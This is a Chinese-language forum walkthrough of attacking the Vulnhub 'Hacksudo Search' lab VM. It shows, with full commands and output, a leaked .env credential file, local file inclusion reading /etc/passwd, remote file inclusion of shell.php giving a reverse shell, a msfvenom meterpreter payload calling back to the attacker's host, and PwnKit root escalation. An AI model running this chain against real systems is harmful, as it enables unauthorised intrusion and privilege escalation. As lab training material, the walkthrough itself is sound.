Vulnhub之Hacksudo Search靶机详细测试过程（不同提权方法） ...

半亩花草  金牌会员 | 2023-4-25 13:31:23 | 显示全部楼层 | 阅读模式
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Hacksudo Search

识别目标主机IP地址
  1. (kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
  3. Currently scanning: 192.168.56.0/24   |   Screen View: Unique Hosts                                                                                       
  4.                                                                                                                                                             
  5. 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180                                                                                            
  6. _____________________________________________________________________________
  7.    IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
  8. -----------------------------------------------------------------------------
  9. 192.168.56.1    0a:00:27:00:00:11      1      60  Unknown vendor                                                                                          
  10. 192.168.56.100  08:00:27:f5:05:04      1      60  PCS Systemtechnik GmbH                                                                                   
  11. 192.168.56.162  08:00:27:b8:ce:1e      1      60  PCS Systemtechnik GmbH     
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利用Kali Linux的netdiscover工具识别目标主机的IP地址为192.168.56.162
NMAP扫描
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ sudo nmap -sS -sV -sC -p- 192.168.56.162 -oN nmap_full_scan
  3. Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-24 21:30 EDT
  4. Nmap scan report for bogon (192.168.56.162)
  5. Host is up (0.00013s latency).
  6. Not shown: 65533 closed tcp ports (reset)
  7. PORT   STATE SERVICE VERSION
  8. 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  9. | ssh-hostkey:
  10. |   2048 7b:44:7c:da:fb:e5:e6:1d:76:33:eb:fa:c0:dd:77:44 (RSA)
  11. |   256 13:2d:45:07:32:83:13:eb:4e:a1:20:f4:06:ba:26:8a (ECDSA)
  12. |_  256 21:a1:86:47:07:1b:df:b2:70:7e:d9:30:e3:29:c2:e7 (ED25519)
  13. 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
  14. |_http-title: HacksudoSearch
  15. |_http-server-header: Apache/2.4.38 (Debian)
  16. MAC Address: 08:00:27:B8:CE:1E (Oracle VirtualBox virtual NIC)
  17. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  19. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  20. Nmap done: 1 IP address (1 host up) scanned in 10.71 seconds
  21.                                                                         
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NMAP扫描结果表明目标主机有2个开放端口：22（ssh)、80(http)
获得Shell
  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ curl http://192.168.56.162/robots.txt
  3. /* find me * im number 1 search engine .
  4. just joking :)
  5. www.hacksudo.com
  6.                                                                                                                                                             
  7. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  8. └─$ nikto -h http://192.168.56.162
  9. - Nikto v2.1.6
  10. ---------------------------------------------------------------------------
  11. + Target IP:          192.168.56.162
  12. + Target Hostname:    192.168.56.162
  13. + Target Port:        80
  14. + Start Time:         2023-04-24 22:26:53 (GMT-4)
  15. ---------------------------------------------------------------------------
  16. + Server: Apache/2.4.38 (Debian)
  17. + The anti-clickjacking X-Frame-Options header is not present.
  18. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  19. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  20. + No CGI Directories found (use '-C all' to force check all possible dirs)
  21. + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.0.1".
  22. + Web Server returns a valid response with junk HTTP methods, this may cause false positives.
  23. + OSVDB-3268: /account/: Directory indexing found.
  24. + OSVDB-3092: /account/: This might be interesting...
  25. + OSVDB-3233: /icons/README: Apache default file found.
  26. + /.env: .env file found. The .env file may contain credentials.
  27. + 7915 requests: 0 error(s) and 9 item(s) reported on remote host
  28. + End Time:           2023-04-24 22:27:52 (GMT-4) (59 seconds)
  29. ---------------------------------------------------------------------------
  30. + 1 host(s) tested
  33.       *********************************************************************
  34.       Portions of the server's headers (Apache/2.4.38) are not in
  35.       the Nikto 2.1.6 database or are newer than the known string. Would you like
  36.       to submit this information (*no server specific data*) to CIRT.net
  37.       for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
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nikto发现目录/account/，该目录下虽然有众多文件，但是访问这些文件，返回均为空。
nikto另外发现了/.env，
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ curl http://192.168.56.162/.env      
  3. APP_name=HackSudoSearch
  4. APP_ENV=local
  5. APP_key=base64:aGFja3N1ZG8gaGVscCB5b3UgdG8gbGVhcm4gQ1RGICwgY29udGFjdCB1cyB3d3cuaGFja3N1ZG8uY29tL2NvbnRhY3QK
  6. APP_DEBUG=false
  7. APP_URL=http://localhost
  9. LOG_CHANNEL=stack
  11. DB_CONNECTION=mysql
  12. DB_HOST=127.0.0.1
  13. DB_PORT=3306
  14. DB_USERNAME=hiraman
  15. DB_PASSWORD=MyD4dSuperH3r0!
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该文件包含了数据库连接用户名和密码，但是该用户名不能用于SSH
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ ssh hiraman@192.168.56.162                                 
  3. The authenticity of host '192.168.56.162 (192.168.56.162)' can't be established.
  4. ED25519 key fingerprint is SHA256:dzS9ujCpu8ohIPbqCaxf4e6gi5YSgBrhAI8srwr1giU.
  5. This key is not known by any other names
  6. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
  7. Warning: Permanently added '192.168.56.162' (ED25519) to the list of known hosts.
  8. hiraman@192.168.56.162's password:
  9. Permission denied, please try again.
  10. hiraman@192.168.56.162's password:
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  1. ──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ gobuster dir -u http://192.168.56.162 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.bak,.js,.sh
  3. ===============================================================
  4. Gobuster v3.5
  5. by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
  6. ===============================================================
  7. [+] Url:                     http://192.168.56.162
  8. [+] Method:                  GET
  9. [+] Threads:                 10
  10. [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  11. [+] Negative Status codes:   404
  12. [+] User Agent:              gobuster/3.5
  13. [+] Extensions:              php,html,txt,bak,js,sh
  14. [+] Timeout:                 10s
  15. ===============================================================
  16. 2023/04/24 22:31:27 Starting gobuster in directory enumeration mode
  17. ===============================================================
  18. /.html                (Status: 403) [Size: 279]
  19. /.php                 (Status: 403) [Size: 279]
  20. /images               (Status: 301) [Size: 317] [--> http://192.168.56.162/images/]
  21. /index.php            (Status: 200) [Size: 715]
  22. /search.php           (Status: 200) [Size: 165]
  23. /submit.php           (Status: 200) [Size: 165]
  24. /assets               (Status: 301) [Size: 317] [--> http://192.168.56.162/assets/]
  25. /account              (Status: 301) [Size: 318] [--> http://192.168.56.162/account/]
  26. /javascript           (Status: 301) [Size: 321] [--> http://192.168.56.162/javascript/]
  27. /robots.txt           (Status: 200) [Size: 75]
  28. /LICENSE              (Status: 200) [Size: 1074]
  29. /search1.php          (Status: 200) [Size: 2918]
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Gobuster工具扫描出文件/search1.php，访问该文件，其中contact,作者给出提示，需要FUZZ参数，因此接下来用wfuzz工具进行FUZZING
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ wfuzz -c -u 'http://192.168.56.162/search1.php?FUZZ=../../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hw 288
  3. /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
  4. ********************************************************
  5. * Wfuzz 3.1.0 - The Web Fuzzer                         *
  6. ********************************************************
  8. Target: http://192.168.56.162/search1.php?FUZZ=../../../../../etc/passwd
  9. Total requests: 220560
  11. =====================================================================
  12. ID           Response   Lines    Word       Chars       Payload                                                                                    
  13. =====================================================================
  15. 000001129:   200        143 L    260 W      3797 Ch     "me"                        
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FUZZ出参数名称为me
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ curl http://192.168.56.162/search1.php?me=../../../../../../etc/passwd
  5. <body >
  7. <font color=white>
  10.   <a  target="_blank" href="https://www.cnblogs.com/?find=home.php">Home</a>
  11.   <a target="_blank" href="https://www.cnblogs.com/?Me=about.php">About</a>
  12.   <a target="_blank" href="https://www.cnblogs.com/?FUZZ=contact.php">Contact</a>
  13.   
  14.     <form action="submit.php">
  15.       <input type="text" placeholder="Search.." name="search">
  16.       <button type="submit"><i ></i></button>
  17.     </form>
  18.   
  22.   <h1><font color=red>HackSudo</font> Search box</h1>
  23.   <p>JumpStation The web crawler with Google</p>
  26. root:x:0:0:root:/root:/bin/bash
  27. daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  28. bin:*:2:2:bin:/bin:/usr/sbin/nologin
  29. sys:*:3:3:sys:/dev:/usr/sbin/nologin
  30. sync:*:4:65534:sync:/bin:/bin/sync
  31. games:*:5:60:games:/usr/games:/usr/sbin/nologin
  32. man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
  33. lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  34. mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
  35. news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
  36. uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  37. proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
  38. www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
  39. backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
  40. list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  41. irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  42. gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  43. nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  44. _apt:*:100:65534::/nonexistent:/usr/sbin/nologin
  45. systemd-timesync:*:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  46. systemd-network:*:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  47. systemd-resolve:*:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  48. hacksudo:x:1000:1000:hacksudo,,,:/home/hacksudo:/bin/bash
  49. systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  50. messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
  51. sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
  52. mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
  53. monali:x:1001:1001:,,,:/home/monali:/bin/bash
  54. john:x:1002:1002:,,,:/home/john:/bin/bash
  55. search:x:1003:1003:,,,:/home/search:/bin/bash
  56.                 </form>
  57. </font>
  58. <font color=red><h2><marquee> <a target="_blank" href="https://www.hacksudo.com/">Visit --> www.hacksudo.com</marquee></h2></a>
  59. </font>
  60.         
  61. </body>
  62. </html>
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看是否存在SSH私钥文件
  1. http://192.168.56.162/search1.php?me=../../../../../../home/search/.ssh/id_rsa
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经过测试3个普通用户均不存在ssh私钥文件。
接下来看是否有远程文件包含漏洞：
  1. http://192.168.56.162/search1.php?me=http://192.168.56.230:8000/test.txt
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经过尝试，目标存在远程文件包含漏洞，因此在Kali linux端准备好shell.php文件，并启动http.server
访问下述URL：
  1. http://192.168.56.162/search1.php?me=http://192.168.56.230:8000/shell.php
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在Kali linux上得到目标主机反弹回来的shell
  1. ┌──(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ sudo nc -nlvp 5555                                         
  3. [sudo] password for kali:
  4. listening on [any] 5555 ...
  5. connect to [192.168.56.230] from (UNKNOWN) [192.168.56.162] 55864
  6. Linux HacksudoSearch 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
  7. 22:00:50 up 40 min,  0 users,  load average: 0.01, 1.18, 1.25
  8. USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
  9. uid=33(www-data) gid=33(www-data) groups=33(www-data)
  10. /bin/sh: 0: can't access tty; job control turned off
  11. $ which python
  12. /usr/bin/python
  13. $ python -c 'import pty;pty.spawn("/bin/bash")'
  14. www-data@HacksudoSearch:/$ cd /home
  15. cd /home
  16. www-data@HacksudoSearch:/home$ ls -alh
  17. ls -alh
  18. total 24K
  19. drwxr-xr-x  6 root     root     4.0K Apr 15  2021 .
  20. drwxr-xr-x 18 root     root     4.0K Apr 11  2021 ..
  21. drwxr-x---  6 hacksudo hacksudo 4.0K Apr 15  2021 hacksudo
  22. drwxr-x---  2 john     john     4.0K Apr 13  2021 john
  23. drwxr-x---  2 monali   monali   4.0K Apr 13  2021 monali
  24. drwxr-x---  2 search   search   4.0K Apr 15  2021 search
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提权

利用msfvenom工具生成payload，将payload上传至目标主机/tmp目录，然后执行该文件
  1. ─(kali㉿kali)-[~/Desktop/Vulnhub/HacksudoSearch]
  2. └─$ msfvenom -p  linux/x86/meterpreter/reverse_tcp  LHOST=192.168.56.230 LPORT=6666 -f elf -o escalate.elf
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  1. [/code][code]msf6 > use exploit/multi/handler
  2. [*] Using configured payload generic/shell_reverse_tcp
  3. msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
  4. payload => linux/x86/meterpreter/reverse_tcp
  5. msf6 exploit(multi/handler) > show options
  7. Module options (exploit/multi/handler):
  9.    Name  Current Setting  Required  Description
  10.    ----  ---------------  --------  -----------
  13. Payload options (linux/x86/meterpreter/reverse_tcp):
  15.    Name   Current Setting  Required  Description
  16.    ----   ---------------  --------  -----------
  17.    LHOST                   yes       The listen address (an interface may be specified)
  18.    LPORT  4444             yes       The listen port
  21. Exploit target:
  23.    Id  Name
  24.    --  ----
  25.    0   Wildcard Target
  28. msf6 exploit(multi/handler) > set LHOST 192.168.56.230
  29. LHOST => 192.168.56.230
  30. msf6 exploit(multi/handler) > set LPORT 6666
  31. LPORT => 6666
  32. msf6 exploit(multi/handler) > run
  34. [*] Started reverse TCP handler on 192.168.56.230:6666
  35. [*] Sending stage (989032 bytes) to 192.168.56.162
  36. [*] Meterpreter session 1 opened (192.168.56.230:6666 -> 192.168.56.162:33994) at 2023-04-24 22:51:21 -0400
  38. meterpreter > background
  39. [*] Backgrounding session 1...
  40. msf6 exploit(multi/handler) > search suggester
  42. Matching Modules
  43. ================
  45.    #  Name                                      Disclosure Date  Rank    Check  Description
  46.    -  ----                                      ---------------  ----    -----  -----------
  47.    0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester
  50. Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
  52. msf6 exploit(multi/handler) > use  post/multi/recon/local_exploit_suggester
  53. msf6 post(multi/recon/local_exploit_suggester) > show options
  55. Module options (post/multi/recon/local_exploit_suggester):
  57.    Name             Current Setting  Required  Description
  58.    ----             ---------------  --------  -----------
  59.    SESSION                           yes       The session to run this module on
  60.    SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
  62. msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
  63. SESSION => 1
  64. msf6 post(multi/recon/local_exploit_suggester) > run
  66. [*] 192.168.56.162 - Collecting local exploits for x86/linux...
  67. [*] 192.168.56.162 - 167 exploit checks are being tried...
  68. [+] 192.168.56.162 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
  69. [+] 192.168.56.162 - exploit/linux/local/pkexec: The service is running, but could not be validated.
  70. [+] 192.168.56.162 - exploit/linux/local/su_login: The target appears to be vulnerable.
  71. [*] Running check method for exploit 48 / 48
  72. [*] 192.168.56.162 - Valid modules for session 1:
  73. ============================
  75. #   Name                                                               Potentially Vulnerable?  Check Result
  76. -   ----                                                               -----------------------  ------------
  77. 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
  78. 2   exploit/linux/local/pkexec                                         Yes                      The service is running, but could not be validated.
  79. 3   exploit/linux/local/su_login                                       Yes                      The target appears to be vulnerable.
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选择提权模块，然后提权
[code]msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
  • No payload configured, defaulting to linux/x64/meterpreter/reverse_tcpmsf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > show options Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):   Name          Current Setting  Required  Description   ----          ---------------  --------  -----------   PKEXEC_PATH                    no        The path to pkexec binary   SESSION                        yes       The session to run this module on   WRITABLE_DIR  /tmp             yes       A directory where we can write filesPayload options (linux/x64/meterpreter/reverse_tcp):   Name   Current Setting  Required  Description   ----   ---------------  --------  -----------   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)   LPORT  4444             yes       The listen portExploit target:   Id  Name   --  ----   0   x86_64msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.56.230LHOST => 192.168.56.230msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 8888LPORT => 8888msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 1SESSION => 1msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
  • Started reverse TCP handler on 192.168.56.230:8888
  • Running automatic check ("set AutoCheck false" to disable)[!] Verify cleanup of /tmp/.aqmsnondyug[+] The target is vulnerable.
  • Writing '/tmp/.esjvtiaf/vswplcef/vswplcef.so' (548 bytes) ...[!] Verify cleanup of /tmp/.esjvtiaf
  • Sending stage (3020772 bytes) to 192.168.56.162[+] Deleted /tmp/.esjvtiaf/vswplcef/vswplcef.so[+] Deleted /tmp/.esjvtiaf/.qbbgfqf[+] Deleted /tmp/.esjvtiaf
  • Meterpreter session 2 opened (192.168.56.230:8888 -> 192.168.56.162:40940) at 2023-04-24 22:55:08 -0400meterpreter > shellProcess 1145 created.Channel 1 created.id uid=0(root) gid=0(root) groups=0(root),33(www-data)cd /rootlsnotes.txtroot.txtcat notes.txt _                _                  _                                 _| |__   __ _  ___| | _____ _   _  __| | ___    ___  ___  __ _ _ __ ___| |__| '_ \ / _` |/ __| |/ / __| | | |/ _` |/ _ \  / __|/ _ \/ _` | '__/ __| '_ \| | | | (_| | (__|
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